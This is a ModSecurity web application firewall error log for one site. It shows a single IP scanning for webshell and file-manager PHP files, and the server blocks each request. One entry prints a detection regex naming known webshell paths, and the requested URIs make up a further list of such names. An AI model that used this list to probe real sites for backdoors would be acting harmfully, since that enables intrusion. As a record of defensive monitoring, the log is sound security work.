[Fri Apr 17 23:51:21.619785 2026] [:error] [pid 61523:tid 61550] [client 20.203.143.130:12768] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "aeJW-cOaH-Pgc7WEf4MLWAAAAcg"]
[Fri Apr 17 23:51:23.371439 2026] [:error] [pid 34273:tid 34286] [client 20.203.143.130:64441] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "aeJW-2uQDW686mK3dgExwAAAAYs"]
[Fri Apr 17 23:51:24.552589 2026] [:error] [pid 9153:tid 9232] [client 20.203.143.130:59724] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "aeJW_OMHGxkTZX3c45cr-wAAAI4"]
[Fri Apr 17 23:51:27.372560 2026] [:error] [pid 9152:tid 9207] [client 20.203.143.130:52388] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny2.php"] [unique_id "aeJW_5JYca8I3TNCwIeO9QAAAFE"]
[Fri Apr 17 23:51:30.703876 2026] [:error] [pid 9153:tid 9219] [client 20.203.143.130:57498] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeJXAuMHGxkTZX3c45cr_QAAAIE"]
[Fri Apr 17 23:51:34.028279 2026] [:error] [pid 51878:tid 51886] [client 20.203.143.130:55061] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeJXBknQhUtMbw9EsgbmXQAAAQY"]
[Fri Apr 17 23:51:44.768136 2026] [:error] [pid 25010:tid 25033] [client 20.203.143.130:56833] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeJXEI-7kkf42RarqQ2V7AAAAVQ"]
[Fri Apr 17 23:51:46.116473 2026] [:error] [pid 9151:tid 9183] [client 20.203.143.130:55089] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeJXEshTVuRPkua22vRapAAAABY"]
[Fri Apr 17 23:51:49.356294 2026] [:error] [pid 9263:tid 9276] [client 20.203.143.130:55641] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeJXFRP68VyHNvj1e56iRgAAAMs"]
[Fri Apr 17 23:51:53.679988 2026] [:error] [pid 51878:tid 51882] [client 20.203.143.130:57134] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeJXGUnQhUtMbw9EsgbmggAAAQI"]
[Fri Apr 17 23:51:58.497514 2026] [:error] [pid 51878:tid 51884] [client 20.203.143.130:12587] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeJXHknQhUtMbw9EsgbmoQAAAQQ"]
[Fri Apr 17 23:52:04.827704 2026] [:error] [pid 9263:tid 9275] [client 20.203.143.130:57148] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeJXJBP68VyHNvj1e56ibwAAAMo"]
[Fri Apr 17 23:52:10.883456 2026] [:error] [pid 51878:tid 51886] [client 20.203.143.130:55620] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeJXKknQhUtMbw9EsgbmvAAAAQY"]
[Fri Apr 17 23:52:18.921988 2026] [:error] [pid 9151:tid 9170] [client 20.203.143.130:57102] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aeJXMshTVuRPkua22vRasAAAAAk"]
[Fri Apr 17 23:53:03.823935 2026] [:error] [pid 61523:tid 61552] [client 20.203.143.130:55668] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aeJXX8OaH-Pgc7WEf4MMWwAAAco"]
[Fri Apr 17 23:53:14.199585 2026] [:error] [pid 9152:tid 9190] [client 20.203.143.130:12559] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeJXapJYca8I3TNCwIePpQAAAEA"]
[Fri Apr 17 23:53:15.280354 2026] [:error] [pid 51878:tid 51884] [client 20.203.143.130:57139] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeJXa0nQhUtMbw9EsgbnrQAAAQQ"]
[Fri Apr 17 23:53:16.748592 2026] [:error] [pid 34273:tid 34298] [client 20.203.143.130:21737] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeJXbGuQDW686mK3dgEyIQAAAZc"]
[Fri Apr 17 23:53:18.670567 2026] [:error] [pid 51878:tid 51892] [client 20.203.143.130:55077] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aeJXbknQhUtMbw9EsgbnxQAAAQw"]
[Fri Apr 17 23:53:20.447489 2026] [:error] [pid 51878:tid 51894] [client 20.203.143.130:21504] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJXcEnQhUtMbw9Esgbn2gAAAQ4"]
[Fri Apr 17 23:53:21.583534 2026] [:error] [pid 61523:tid 61554] [client 20.203.143.130:55090] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJXccOaH-Pgc7WEf4MMcQAAAcw"]
[Fri Apr 17 23:53:23.366093 2026] [:error] [pid 34273:tid 34277] [client 20.203.143.130:55056] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJXc2uQDW686mK3dgEyJgAAAYI"]
[Fri Apr 17 23:53:24.376596 2026] [:error] [pid 9153:tid 9226] [client 20.203.143.130:21512] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeJXdOMHGxkTZX3c45csOgAAAIg"]
[Fri Apr 17 23:53:25.286086 2026] [:error] [pid 61523:tid 61559] [client 20.203.143.130:12564] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "aeJXdcOaH-Pgc7WEf4MMdwAAAdE"]
[Fri Apr 17 23:53:27.097445 2026] [:error] [pid 9263:tid 9283] [client 20.203.143.130:57130] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "aeJXdxP68VyHNvj1e56jJgAAANI"]
[Fri Apr 17 23:53:30.189414 2026] [:error] [pid 51878:tid 51887] [client 20.203.143.130:55624] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "aeJXeknQhUtMbw9Esgbn-gAAAQc"]
[Fri Apr 17 23:53:34.007256 2026] [:error] [pid 9263:tid 9275] [client 20.203.143.130:55669] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "aeJXfhP68VyHNvj1e56jPAAAAMo"]
[Fri Apr 17 23:53:37.398411 2026] [:error] [pid 51878:tid 51901] [client 20.203.143.130:55633] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeJXgUnQhUtMbw9EsgboLAAAARU"]
[Fri Apr 17 23:53:39.506531 2026] [:error] [pid 61523:tid 61544] [client 20.203.143.130:21776] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeJXg8OaH-Pgc7WEf4MMlQAAAcI"]
[Fri Apr 17 23:53:40.953857 2026] [:error] [pid 9263:tid 9276] [client 20.203.143.130:56832] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeJXhBP68VyHNvj1e56jTQAAAMs"]
[Fri Apr 17 23:53:42.174702 2026] [:error] [pid 9263:tid 9271] [client 20.203.143.130:21747] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/img.php"] [unique_id "aeJXhhP68VyHNvj1e56jVwAAAMY"]
[Fri Apr 17 23:53:43.810504 2026] [:error] [pid 9263:tid 9283] [client 20.203.143.130:54777] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeJXhxP68VyHNvj1e56jYgAAANI"]
[Fri Apr 17 23:53:44.569005 2026] [:error] [pid 9263:tid 9281] [client 20.203.143.130:54751] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeJXiBP68VyHNvj1e56jZQAAANA"]
[Fri Apr 17 23:53:45.539450 2026] [:error] [pid 61523:tid 61553] [client 20.203.143.130:21782] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeJXicOaH-Pgc7WEf4MMnAAAAcs"]
[Fri Apr 17 23:53:48.752185 2026] [:error] [pid 61523:tid 61550] [client 20.203.143.130:55058] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeJXjMOaH-Pgc7WEf4MMpAAAAcg"]
[Fri Apr 17 23:53:51.654665 2026] [:error] [pid 51878:tid 51887] [client 20.203.143.130:21508] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeJXj0nQhUtMbw9EsgboZQAAAQc"]
[Fri Apr 17 23:53:54.788439 2026] [:error] [pid 51878:tid 51898] [client 20.203.143.130:54723] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeJXkknQhUtMbw9EsgbodgAAARI"]
[Fri Apr 17 23:53:56.410587 2026] [:error] [pid 9152:tid 9204] [client 20.203.143.130:55651] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeJXlJJYca8I3TNCwIePzQAAAE4"]
[Fri Apr 17 23:53:59.935947 2026] [:error] [pid 9153:tid 9236] [client 20.203.143.130:12582] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aeJXl-MHGxkTZX3c45csVgAAAJI"]
[Fri Apr 17 23:54:03.505862 2026] [:error] [pid 9263:tid 9268] [client 20.203.143.130:21719] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeJXmxP68VyHNvj1e56jrwAAAMM"]
[Fri Apr 17 23:54:05.518942 2026] [:error] [pid 9152:tid 9205] [client 20.203.143.130:55099] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeJXnZJYca8I3TNCwIeP1QAAAE8"]
[Fri Apr 17 23:54:08.514342 2026] [:error] [pid 9152:tid 9208] [client 20.203.143.130:21722] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeJXoJJYca8I3TNCwIeP2AAAAFI"]
[Fri Apr 17 23:54:10.287164 2026] [:error] [pid 34273:tid 34283] [client 20.203.143.130:54749] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "aeJXomuQDW686mK3dgEyZAAAAYg"]
[Fri Apr 17 23:55:28.636894 2026] [:error] [pid 51878:tid 51882] [client 20.203.143.130:21745] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bdktk.php"] [unique_id "aeJX8EnQhUtMbw9Esgbp5QAAAQI"]
[Fri Apr 17 23:55:30.516286 2026] [:error] [pid 9263:tid 9269] [client 20.203.143.130:12589] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bdktk.php"] [unique_id "aeJX8hP68VyHNvj1e56kvQAAAMQ"]
[Fri Apr 17 23:55:32.564310 2026] [:error] [pid 9152:tid 9205] [client 20.203.143.130:57147] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bdktk.php"] [unique_id "aeJX9JJYca8I3TNCwIeQYQAAAE8"]
[Fri Apr 17 23:55:36.003202 2026] [:error] [pid 25010:tid 25037] [client 20.203.143.130:54724] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bdktk.php"] [unique_id "aeJX-I-7kkf42RarqQ2WtwAAAVg"]
[Fri Apr 17 23:55:37.433575 2026] [:error] [pid 25010:tid 25014] [client 20.203.143.130:12591] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "aeJX-Y-7kkf42RarqQ2WugAAAUE"]
[Fri Apr 17 23:55:40.116285 2026] [:error] [pid 25010:tid 25023] [client 20.203.143.130:56880] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "aeJX_I-7kkf42RarqQ2WvgAAAUo"]
[Fri Apr 17 23:55:43.428730 2026] [:error] [pid 9152:tid 9197] [client 20.203.143.130:58033] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "aeJX_5JYca8I3TNCwIeQewAAAEc"]
[Fri Apr 17 23:55:44.515667 2026] [:error] [pid 34273:tid 34280] [client 20.203.143.130:55062] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v5.php"] [unique_id "aeJYAGuQDW686mK3dgEy0gAAAYU"]
[Fri Apr 17 23:55:46.321890 2026] [:error] [pid 34273:tid 34287] [client 20.203.143.130:54742] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeJYAmuQDW686mK3dgEy2wAAAYw"]
[Fri Apr 17 23:55:47.586820 2026] [:error] [pid 25010:tid 25037] [client 20.203.143.130:57108] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeJYA4-7kkf42RarqQ2WxwAAAVg"]
[Fri Apr 17 23:55:49.525346 2026] [:error] [pid 9153:tid 9229] [client 20.203.143.130:57397] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeJYBeMHGxkTZX3c45csvgAAAIs"]
[Fri Apr 17 23:55:51.706175 2026] [:error] [pid 9153:tid 9223] [client 20.203.143.130:57091] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeJYB-MHGxkTZX3c45csxgAAAIU"]
[Fri Apr 17 23:55:54.862343 2026] [:error] [pid 51878:tid 51904] [client 20.203.143.130:56840] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeJYCknQhUtMbw9EsgbqKQAAARg"]
